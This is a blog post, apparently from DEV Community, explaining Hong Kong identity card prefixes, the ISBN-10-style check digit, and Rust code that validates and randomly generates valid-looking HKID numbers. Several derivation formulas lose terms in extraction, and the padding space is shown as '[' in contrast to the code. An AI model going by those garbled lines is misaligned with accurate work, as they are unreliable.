`U`	Stay in HKSAR not limited
`W`	Born in Macau
`X`	Born in Mainland China
`Y`	Birth date confirmed by Immigration
`Z`	Born in Hong Kong
`AO`, `AW`, `AX`, `AZ`	Right of abode in Hong Kong and place of birth is Other, Macau, Mainland China, or Hong Kong, respectively

Examples:

Example	Meaning
`***AZ`	Aged 18 or over, eligible for re-entry permit (`***`), right of abode in Hong Kong (`A`), born in Hong Kong (`Z`)
`*AZ`	Aged 11–17, eligible for re-entry permit (`*`), right of abode in Hong Kong (`A`), born in Hong Kong (`Z`)
`AW`	Right of abode in Hong Kong (`A`), born in Macau (`W`)

For further details, see Wikipedia: Hong Kong identity card – Meaning of first letter(s)

2. (Optional) What You Need to Know Before Verifying a Hong Kong Identity Card (HKID): Weight Function and Check Digit

Before you can accurately verify a Hong Kong Identity Card (HKID) number, it's important to understand two key concepts:

Weight Function:
This is used to calculate a weighted sum by multiplying each digit (or character) of the HKID number by a specific weight. The result is used in the check digit calculation process.
Check Digit:
This is a special digit added to the end of the HKID number, specifically designed to detect errors.

Mastering these two pieces of knowledge will allow you to understand and implement the HKID verification process correctly and confidently.

2.1 Understanding the Weight Function: The Concept and a Simple Example

⚠️⚠️⚠️ To understand this section, you may need high school-level math, such as vectors and the summation (Σ) formula.

According to Wikipedia’s article on Weight Function, a weight function is a mathematical tool used when performing a sum, integral, or average, to give some elements more "weight" (or influence) than others. The result is called a weighted sum or a weighted average.

Although weight functions can be applied to both weighted sums, weighted averages, weighted integrals, etc., ⚠️For the purposes of the HKID check digit calculation, it is sufficient to focus only on the concept of the weighted sum. Understanding how to calculate a weighted sum is all you need for this context, knowledge of weighted averages and other applications is not necessary.

Before we dive into the concept of a weighted sum, let’s look at a simple example to understand how weighted calculations work in everyday situations.

Simple Example

Suppose you have three test scores:

Chinese: 85
English: 92
Math: 78

Your teacher thinks Chinese is the most important and assigns different weights:

Chinese: 3
English: 2
Math: 1

The weighted sum is calculated as:
Weighted Sum = 85 × 3 + 92 × 2 + 78 × 1 = 255 + 184 + 78 = 517

This means the Chinese score contributes the most to the total.

It’s pretty straightforward, isn’t it? 😊 Now, let’s see how we can express this process using a mathematical formula.

Mathematical Representation

For a vector of values X and a vector of weights W, where
X=[𝑥1, 𝑥2, …, 𝑥n],
W=[𝑤1, 𝑤2, …, 𝑤n]

the weighted sum is:

\text{Weighted Sum} = \sum_{i=1}^{n} w_i x_i = \mathbf{W} \cdot \mathbf{X}

The dot product notation (W⋅X) is a compact way of expressing the sum of products of corresponding elements in the two vectors. This is equivalent to:

$w_1 x_1 + w_2 x_2 + \cdots + w_n x_n$

This means:
Multiply each value by its corresponding weight, then sum all the results.

Why Do We Need to Know the Weighted Sum? 🤔

Understanding the weighted sum is important because the check digit formula for things like HKID actually uses this concept at its core. The check digit isn't just a random number—it's calculated based on the sum of all the digits and letters in the ID, but each one is first multiplied by a different weight before being added together.

2.2 Exploring Common Check Digit Algorithm

⚠️⚠️⚠️ To understand this section, you may need high school-level math, such as Modular arithmetic and the summation (Σ) formula.

I found many documents online about the HKID check digit 📄, but there is no official documentation explaining how to verify or calculate it 😔. Many sources suggest the method is similar to the ISBN-10 check digit formula, so understanding ISBN-10 is useful for this purpose.

A check digit is added to identification numbers to detect errors. Common methods include:

UPC/EAN/GTIN: Odd-position digits × 3, add even-position digits, sum, then (sum mod 10). If not zero, subtract from 10.
ISBN-10: Each digit × its position (right to left), sum, then (sum mod 11) should be 0. If 10, use 'X'.
ISBN-13: Odd-position digits + (even-position digits × 3), sum, then (sum mod 10). If not zero, subtract from 10.
NCDA: Used for special identifiers, can detect single-character and transposition errors.

⚠️For HKID, just focus on the ISBN-10 method.

For more details, see Check digit.

ISBN-10

ISBN-10 is a 10-digit identifier used for books published before 2007. The last digit is a check digit used to detect errors. The check digit is calculated so that the weighted sum of all digits is a multiple of 11.

The formula for a valid ISBN-10 is:

\sum_{i=1}^{10} (11-i) x_i \equiv 0 \pmod{11}

This means each digit is multiplied by a descending weight from 10 to 1, and the sum is evaluated using modular arithmetic.

Based on our study of weighted sum math knowledge in 2.1, we can simplify the formula to:

10x_1 + 9x_2 + 8x_3 + 7x_4 + 6x_5 + 5x_6 + 4x_7 + 3x_8 + 2x_9 + x_{10} \equiv 0 \pmod{11}

Modular Arithmetic

Modular arithmetic is a system for computing with integers, where numbers “wrap around” after reaching a certain fixed value called the modulus. This means, just like the hours on a clock reset after reaching 12, numbers in modular arithmetic reset after reaching the modulus. Calculations are always performed with respect to this modulus.

Congruence in Modular Arithmetic

Congruence is the mathematical relation that expresses when two numbers are considered equivalent in modular arithmetic. Specifically, two integers (a) and (b) are said to be congruent modulo (m) if they have the same remainder when divided by (m). This relationship is written as:

\equiv b \pmod{m}

This means that the difference (a - b) is divisible by (m), or equivalently, (a) and (b) belong to the same position (congruence class) in the modular system with modulus (m).

Note:
The parentheses in "a ≡ b (mod m)" mean that "mod m" applies to the whole equation, not just to the right side.

This is different from "b mod m", which gives the remainder when b is divided by m. In other words, "b mod m" is the unique r such that:
$\leq r < m \quad \text{and} \quad r \equiv b \pmod{m}$
So, "a ≡ b (mod m)" shows a relationship, while "b mod m" gives a specific remainder.

Example Calculation

Suppose you want to compute (17 mod 5):

Divide 17 by 5: 17 ÷ 5 = 3 remainder 2
So, 17 ≡ 2 (mod 5)

Alternatively, 17 − 2 = 15, and 15 is a multiple of 5.

Summary Table

Expression	Meaning
a ≡ b (mod m)	a and 𝑏 leave the same remainder when divided by 𝑚
17 ≡ 2 (mod 5)	Both 17 and 2 leave remainder 2 when divided by 5

Modular arithmetic and congruence are deeply linked: modular arithmetic sets the rules for “wrapping around,” and congruence gives us the formal way to describe equality in this system.

For more, see Modular arithmetic - Wikipedia.

3. (Optional) Where Does the HKID Check Digit Formula Come From?

If you’ve forgotten the ISBN-10 check digit formula, don’t worry 😊—this guide will remind you and show how it transforms into the HKID check digit formula.

The ISBN-10 check digit formula works by multiplying each digit by a specific weight, summing them, and ensuring the total is divisible by 11. The Standard mathematical expression is:

\sum_{i=1}^{10} (11-i) x_i \equiv 0 \pmod{11}

When expanded, this becomes:

10x_1 + 9x_2 + 8x_3 + 7x_4 + 6x_5 + 5x_6 + 4x_7 + 3x_8 + 2x_9 + x_{10} \equiv 0 \pmod{11}

If we focus on the last digit (the check digit), the formula can be rearranged as:

(11-10)x_{10} = S + 1 \cdot x_{10}

which simplifies to:

x_{10} \equiv 0 \pmod{11}

where (S) is the weighted sum of the first nine digits.

This means that when you add the weighted sum (S) of the first nine digits to the check digit 𝑥10 , the result must be a multiple of 11.

Deriving the Check Digit Formula Using Modular Arithmetic

Step-by-step conversion:

Rearrange for the check digit:

$x_{10} \equiv 0 \pmod{11}$ $x_{10} \equiv -S \pmod{11}$
Express -S (mod 11) as a positive remainder:
In modular arithmetic, a negative remainder can be rewritten as:
$\pmod{11} = (11 - (S \bmod{11})) \bmod{11}$
This is because adding the modulus (11) to a negative number brings it back into the range of 0…10.
Substitute and simplify:
$x_{10} = (11 - (S \bmod{11})) \bmod{11}$

Summary

S + x10 ≡ 0 (mod 11) leads to x10 ≡ -S (mod 11).
In computer code, to always get a non-negative remainder, we use (11 - (S mod 11)) mod 11.
Therefore, the check digit formula becomes (11 - (sum % 11)) % 11.

4. (Optional) Comparing Online HKID Check Digit Formulas: Common Practices vs. the ISBN-10 Method

4.1 Common Practices

The majority of online resources present the HKID check digit calculation formula as 11 - (sum % 11), typically without providing any underlying rationale. However, this approach can yield results ranging from 0 to 10, while the check digit field permits only a single digit or, in some cases, the character 'A'. Therefore, additional logic is required to map the result to a valid check digit. This mapping can be expressed as follows:

If the result is 0, the check digit is '0'.
If the result is 1, the check digit is 'A'.
If the result is between 2 and 10, the check digit is the corresponding digit: 11 - (sum % 11).

Formally, this can be written as:

let remainder = sum % 11;

if (remainder == 0) {
    check_digit = '0';
} else if (remainder == 1) {
    check_digit = 'A';
} else {
    check_digit = 11 - remainder;
}

As a result, many implementations use conditional statements to handle these cases, increasing the complexity of the logic.

4.2 The ISBN-10 Method

The ISBN-10 method applies the formula (11 - (sum % 11)) % 11 for HKID check digit calculation. This approach is structurally similar to the commonly used method, but it incorporates an additional modulo operation at the final step.

The purpose of this extra % 11 is to ensure that when sum % 11 equals 0, the calculation yields a check digit of 0, rather than 11. This guarantees that all possible results are valid single-digit values (0–10) and removes the need for separate handling of results outside this range.

Based on the output, only the value 10 needs to be mapped to 'A', while all other digits can be used directly as the check digit. This mapping makes the implementation simpler and easier to understand.

A typical implementation can be represented as follows:

let check_digit = (11 - sum % 11) % 11;

match check_digit {
    10 => Some('A'),
    digit => char::from_digit(digit, 10),
}

4.3 Why the Common Practices and the ISBN-10 Method Return the Same Result

Both the Common Practices 11 - (sum % 11) and the ISBN-10 Method (11 - (sum % 11)) % 11 are used for check digit calculation. Although the formulas differ slightly, they produce the same result when the proper mapping is applied. The process can be described as follows:

Calculate the Remainder
Both methods start by calculating the remainder:
remainder = sum % 11
Subtract from 11
The next step is to subtract the remainder from 11:
check_digit = 11 - remainder
This yields results ranging from 1 to 11.
Result Mapping in Common Practices
According to the Common Practices approach, the mapping is as follows:
- If remainder is 0, then check_digit is '0'
- If remainder is 1, then check_digit is 'A'
- If remainder is between 2 and 10, then check_digit is 11 - remainder (i.e., a digit from 9 to 1)
Result Mapping in the ISBN-10 Method
The ISBN-10 method applies an additional modulo operation:
check_digit = (11 - (sum % 11)) % 11
The mapping is:
- If check_digit is 10, return 'A'
- Otherwise, return the digit itself (0 to 9)
Equivalence of Both Methods
Both methods ensure the check digit is:
- '0' when the remainder is 0 (resulting in 11, mapped to 0 by ISBN-10 method's % 11)
- 'A' when the remainder is 1 (resulting in 10)
- Digits 1 to 9 for other remainders
The only difference is that the Common Practices approach uses explicit conditional mapping, while the ISBN-10 method uses a modulo operation to automatically handle the special case when the result is 11.

Example: Result Comparison

The table below demonstrates that both methods produce the same check digits for a variety of weighted sum values:

Weighted Sum (`sum`)	sum % 11	Common Practices Result	ISBN-10 `(11 - sum % 11) % 11`	Final Check Digit
113	3	else → 8	(11-3)%11 = 8	8
245	3	else → 8	(11-3)%11 = 8	8
311	3	else → 8	(11-3)%11 = 8	8
402	6	else → 5	(11-6)%11 = 5	5
156	2	else → 9	(11-2)%11 = 9	9
230	10	else → 1	(11-10)%11 = 1	1
407	0	if 0 → '0'	(11-0)%11 = 0	0
372	9	else → 2	(11-9)%11 = 2	2
454	3	else → 8	(11-3)%11 = 8	8
187	0	if 0 → '0'	(11-0)%11 = 0	0

As shown, the check digit results from both the Common Practices and ISBN-10 Method are always the same.

Conclusion:

When the special mappings are correctly applied, both the Common Practices and the ISBN-10 Method yield identical check digit results for any valid HKID number.

5. Alphabet-to-Number Mapping

For reference, here’s how letters are converted to numbers in the HKID algorithm:

Letter	Value	Letter	Value	Letter	Value	Letter	Value
A	10	B	11	C	12	D	13
E	14	F	15	G	16	H	17
I	18	J	19	K	20	L	21
M	22	N	23	O	24	P	25
Q	26	R	27	S	28	T	29
U	30	V	31	W	32	X	33
Y	34	Z	35	[	36

Why Alphabet-to-Number Mapping is Needed

In the HKID check digit calculation, each character in the card number, whether it is a letter, number, or a space, must be converted to a numeric value before performing calculations. This process is called alphabet-to-number mapping.

The HKID number typically starts with one or two letters (the prefix), followed by six digits and a check digit in parentheses. To calculate or verify the check digit, the HKID algorithm multiplies each character by a position-based weight and sums the results. Since mathematical operations can only be performed on numbers, any letter in the HKID must first be converted to its corresponding numeric value.

Letters are mapped from A = 10 up to Z = 35.
A space (used for padding single-letter prefixes) is mapped to 36.
Digits keep their natural values (0–9).

6. HKID Check Digit Calculation: Step-by-Step Explanation

Let’s formally get started with today’s topic. In the following section, we’ll break down the HKID check digit calculation step by step so you can easily understand the process.

The HKID check digit helps verify the validity of an HKID number. The calculation has two parts:

First: Compute a weighted sum.
Second: Apply a modulus formula to get the check digit.

Step 1: Calculate the Weighted Sum

Pad the HKID if needed:
- If the prefix is a single letter (e.g., A123456), pad it by adding a space in front:
  - "[A123456"
- If the prefix is two letters (e.g., AZ123456), use as-is.
Convert each character to a number:
- For letters: A = 10, B = 11, ..., Z = 35
- For digits: use the digit itself
- For a [: 36
Apply positional weights:
- The weights, from left to right, are: 9, 8, 7, 6, 5, 4, 3, 2
Calculate the weighted sum:
- Multiply each character’s numeric value by its corresponding weight and sum the results.

Worked Example

Suppose the HKID is A123456:

Character	Value	Weight	Sum
[	36	9	324
A	10	8	80
1	1	7	7
2	2	6	12
3	3	5	15
4	4	4	16
5	5	3	15
6	6	2	12

Weighted sum:

324 + 80 + 7 + 12 + 15 + 16 + 15 + 12 = 481

Code implementation (Rust):

const WEIGHTS: [u32; 8] = [9, 8, 7, 6, 5, 4, 3, 2];

let values = padded_body.chars().map(Self::char_to_value).collect::<Option<Vec<u32>>>()?;
let sum = values.iter().zip(WEIGHTS.iter()).map(|(v, w)| v * w).sum::<u32>();

Step 2: Calculate the Check Digit

Use the weighted sum from Step 1 in ISBN-10 check digit formula:

check_digit = (11 - (sum % 11)) % 11

If the result is 10, the check digit is A
If the result is 0, the check digit is 0
Otherwise, the check digit is the digit itself

Code implementation (Rust):

match check_digit {
    10 => 'A',
    digit => char::from_digit(check_digit, 10).unwrap(),
}

Continuing the Example

Weighted sum: 481
sum % 11 = 481 % 11 = 8
11 - 8 = 3
3 % 11 = 3

So, the check digit is 3 (the complete HKID is A123456(3)).

Core Logic Implementation (Rust)

The following is the core logic used to calculate the HKID check digit. For full details functions, please visit my GitHub repo: hkid_ops/rust_hkid_ops.

const WEIGHTS: [u32; 8] = [9, 8, 7, 6, 5, 4, 3, 2];

fn char_to_value(c: char) -> Option<u32> {
    let c = c.to_ascii_uppercase() as u8;

    match c {
        b'A'..=b'Z' => Some(u32::from(c - b'A' + 10)),
        b'0'..=b'9' => Some(u32::from(c - b'0')),
        b' ' => Some(36),
        _ => None,
    }
}

pub fn calculate_check_digit(&self, hkid_body: &str) -> Option<char> {
  if !VALID_HKID_BODY_REGEX.is_match(hkid_body) {
      return None;
  }

  let padded_body = format!("{hkid_body:>8}");
  let values = padded_body.chars().map(HKIDOps::char_to_value).collect::<Option<Vec<u32>>>()?;
  let sum = values.iter().zip(WEIGHTS.iter()).map(|(v, w)| v * w).sum::<u32>();
  let check_digit = (11 - sum % 11) % 11;

  match check_digit {
      10 => Some('A'),
      digit => char::from_digit(digit, 10),
  }
}

pub fn validate_hkid(&self, hkid_full: &str, must_exist_in_enum: bool) -> Result<bool, String> {
    let cleaned = hkid_full.chars()
        .filter(|&c| c != '(' && c != ')')
        .collect::<String>();

    let caps = HKID_FULL_REGEX.captures(&cleaned)
        .ok_or_else(|| "Invalid HKID format: incorrect structure.".to_string())?;

    let prefix = caps.get(1).ok_or("Missing prefix in HKID")?.as_str();
    let digits = caps.get(2).ok_or("Missing digits in HKID")?.as_str();
    let provided_digit = caps.get(3).ok_or("Missing check digit in HKID")?.as_str();

    if must_exist_in_enum {
        let parsed_prefix = HKIDPrefix::parse(prefix);
        if !parsed_prefix.is_known() {
            return Err(format!("Prefix '{prefix}' is not recognized."));
        }
    }

    let hkid_body = format!("{prefix}{digits}");
    let calculated_digit = self.calculate_check_digit(&hkid_body)
        .ok_or_else(|| "Failed to calculate check digit".to_string())?;

    let provided_digit = provided_digit.chars().next().ok_or_else(|| "Missing check digit".to_string())?;

    Ok(calculated_digit == provided_digit)
}

7. How to Generate and Validate Hong Kong Identity Card Numbers

To generate a Hong Kong Identity Card (HKID) number, begin by providing an optional prefix, which must consist of one or two uppercase letters.

If the prefix is supplied and validation against known HKID prefixes is required, the function checks whether the prefix is recognized. If no prefix is provided, a random prefix is generated; this prefix is selected from known values if validation is required, or chosen as any one or two-letter uppercase combination otherwise.

Six random digits are then appended to the chosen prefix to form the HKID body. A check digit is calculated based on this body, and the complete HKID is constructed in the format dddddd(C), where d represents a digit and C is the computed check digit.

The function returns the generated HKID string or an error if validation fails.

Example: Generating an HKID with a Specific Prefix

Suppose the goal is to generate an HKID with the prefix "A" and require that the prefix must be recognized (i.e., must_exist_in_enum = true).

The function checks that the prefix "A" is in the correct format (one or two uppercase letters) and is recognized.
Six random digits are generated, for example: 123456.
The HKID body is formed by combining the prefix and digits: A123456.
A check digit is calculated for the body. Suppose the result is 3.
The final HKID is constructed in the format: A123456(3).

Example Code:

use hkid_ops::hkid_ops::HKIDOps;

let ops = HKIDOps::new();
let hkid = ops.generate_hkid(Some("A"), true).unwrap();

println!("Generated HKID: {}", hkid); // Output: e.g. "A123456(3)"

Example: Generating an HKID with a Random Prefix

Suppose the goal is to generate an HKID without specifying a prefix. In this case, the function will use a random prefix. If must_exist_in_enum is set to true, the prefix will be chosen from known valid HKID prefixes.

No prefix is supplied, so the function selects a random known prefix, for example: "M".
Six random digits are generated, for example: 482951.
The HKID body is formed by combining the random prefix and digits: M482951.
A check digit is calculated for the body. Suppose the result is A.
The final HKID is constructed in the format: M482951(A).

Example Code:

use hkid_ops::hkid_ops::HKIDOps;

let ops = HKIDOps::new();
let hkid = ops.generate_hkid(None, true).unwrap();

println!("Generated HKID: {}", hkid); // Output: e.g., "M482951(A)"

Core Logic Implementation (Rust)

The following is the core logic used to generate the HKID number. For full details and functions, please visit my GitHub repo: hkid_ops/rust_hkid_ops.

fn random_known_prefix() -> &'static str {
    let idx = fastrand::usize(..KNOWN_PREFIXES.len());
    KNOWN_PREFIXES[idx]
}

fn random_prefix() -> String {
    let len = if fastrand::bool() { 1 } else { 2 };
    let mut s = String::with_capacity(len);

    for _ in 0..len {
        s.push(Self::random_uppercase_letter());
    }

    s
}

pub fn generate_hkid(&self, prefix: Option<&str>, must_exist_in_enum: bool) -> Result<String, String> {
    if let Some(px) = prefix {
        if !VALID_PREFIX_REGEX.is_match(px) {
            return Err(format!("Prefix '{px}' is not a valid HKID prefix format (must be 1 or 2 uppercase letters)"));
        }
        if must_exist_in_enum {
            let parsed_prefix = HKIDPrefix::parse(px);
            if !parsed_prefix.is_known() {
                return Err(format!("Prefix '{px}' is not recognized"));
            }
        }
    }

    let prefix_str = match (prefix, must_exist_in_enum) {
        (Some(px), true | false) => HKIDPrefix::parse(px).as_str().to_string(),
        (None, true) => Self::random_known_prefix().to_string(),
        (None, false) => Self::random_prefix(),
    };

    let digits = (0..6).map(|_| fastrand::u8(0..10).to_string()).collect::<String>();
    let hkid_body = format!("{prefix_str}{digits}");
    let check_digit = self.calculate_check_digit(&hkid_body).ok_or("Failed to calculate check digit")?;

    Ok(format!("{hkid_body}({check_digit})"))
}

8. Rust Implementation: hkid_ops

To make HKID validation and generation easier and more reliable in software projects, I have implemented the entire HKID logic in Rust and published it as both open-source code and a reusable crate.

GitHub: hkid_ops/rust_hkid_ops

You can explore the codebase, check out the implementation details, and contribute or raise issues if you find any edge cases or want to request features.
Crates.io: hkid_ops

Easily include HKID validation and generation in your own Rust projects by adding hkid_ops to your dependencies.

What Does the Rust Crate Provide?

Generate valid HKID numbers
Verify HKID check digits
Parse and handle HKID prefixes and symbols according to the official rules

9. Conclusion

The Hong Kong Identity Card (HKID) format encodes information about the cardholder and the history of card issuance through specific prefixes and symbols. The check digit is calculated using a weighted sum of the card’s characters and a modulus formula based on the ISBN-10 algorithm. This process produces a check digit value of 0–9 or ‘A’, which is used for error detection in HKID numbers.

Understanding the structure, prefix meanings, character-to-number mapping, and check digit calculation enables implementation of HKID validation and generation in software systems. The hkid_ops crate provides functions for generating and verifying HKID numbers according to these rules.

For implementation details and sample code, refer to the hkid_ops/rust_hkid_ops repository.

Letter	Value	Letter	Value	Letter	Value	Letter	Value
A	10	B	11	C	12	D	13
E	14	F	15	G	16	H	17
I	18	J	19	K	20	L	21
M	22	N	23	O	24	P	25
Q	26	R	27	S	28	T	29
U	30	V	31	W	32	X	33
Y	34	Z	35	[	36

Letter	Value	Letter	Value	Letter	Value	Letter	Value
A	10	B	11	C	12	D	13
E	14	F	15	G	16	H	17
I	18	J	19	K	20	L	21
M	22	N	23	O	24	P	25
Q	26	R	27	S	28	T	29
U	30	V	31	W	32	X	33
Y	34	Z	35	[	36

DEV Community: Sam Leung

Understanding XSS (Cross-Site Scripting): How Attackers Inject Code Into Your Website

Table of Contents

1. What is Cross Site Scripting (XSS)

2. How XSS Works

3. Types of XSS

3.1. Stored XSS (Persistent XSS)

3.2. Reflected XSS (Non-Persistent XSS)

3.3. DOM Based XSS (Client Side XSS)

3.4. Difference Between the Three Methods

4. What Attackers Can Do with XSS

5. Prevention Methods

5.1. Escape and Sanitize Output

5.2. Validate User Input

5.3. Use Safe DOM Methods

5.4. Apply a Content Security Policy (CSP)

5.5. Rely on Framework Security Defaults

5.6. Protect Cookies

5.7. Regular Testing and Monitoring

6. Summary

7. References

From SOP to CORS: Understanding the Web’s Cross‑Origin Security Model

Table of Contents

1. What Is an Origin?

2. The Same Origin Policy

3. What Is a Cross Origin Request?

4. What Is CORS (Cross Origin Resource Sharing)?

5. Simple CORS Requests

Example

6. Preflight Requests

Step 1 — The OPTIONS Preflight & The Server’s Response

Step 2 — The Actual Request

7. Key CORS Headers Explained

8. CORS with Cookies and Credentials

Client‑side

Server‑side

9. Practical Example: CORS in Rust (Axum)

Cargo.toml

Main Application

Explanation

10. API Gateway and Backend: Where Should You Configure CORS?

First Principle

Option 1 — Handle CORS at the API Gateway (Recommended)

Advantages

Example — AWS API Gateway CORS Config

Option 2 — Handle CORS in the Backend (When Needed)

Option 3 — Handle CORS in Both (Not Rcommanded)

When You Don’t Need CORS

Best Practice Decision Table

Testing Your Setup

11. Loading Resources Cross Domain with the Script Tag

12. A Short History of CORS

13. Summary

14. References

HKID (Part 1) - Understanding the 🇭🇰Hong Kong🇭🇰 Identity Card: Symbols, Prefixes, and Check Digit Calculation

Why I Wrote This?

1. HKID Symbols and Prefixes: What Do They Mean?

1.1 HKID Number Format Explained

1.2 Prefix Meanings

Double Letters:

1.3 Symbols on the Card

2. (Optional) What You Need to Know Before Verifying a Hong Kong Identity Card (HKID): Weight Function and Check Digit

2.1 Understanding the Weight Function: The Concept and a Simple Example

2.2 Exploring Common Check Digit Algorithm

3. (Optional) Where Does the HKID Check Digit Formula Come From?

4. (Optional) Comparing Online HKID Check Digit Formulas: Common Practices vs. the ISBN-10 Method

4.1 Common Practices

4.2 The ISBN-10 Method

4.3 Why the Common Practices and the ISBN-10 Method Return the Same Result

5. Alphabet-to-Number Mapping

Why Alphabet-to-Number Mapping is Needed

6. HKID Check Digit Calculation: Step-by-Step Explanation

Step 1: Calculate the Weighted Sum

Worked Example

Weighted sum:

Step 2: Calculate the Check Digit

Continuing the Example

Core Logic Implementation (Rust)

7. How to Generate and Validate Hong Kong Identity Card Numbers

Core Logic Implementation (Rust)

Letter	Value	Letter	Value	Letter	Value	Letter	Value
A	10	B	11	C	12	D	13
E	14	F	15	G	16	H	17
I	18	J	19	K	20	L	21
M	22	N	23	O	24	P	25
Q	26	R	27	S	28	T	29
U	30	V	31	W	32	X	33
Y	34	Z	35	[	36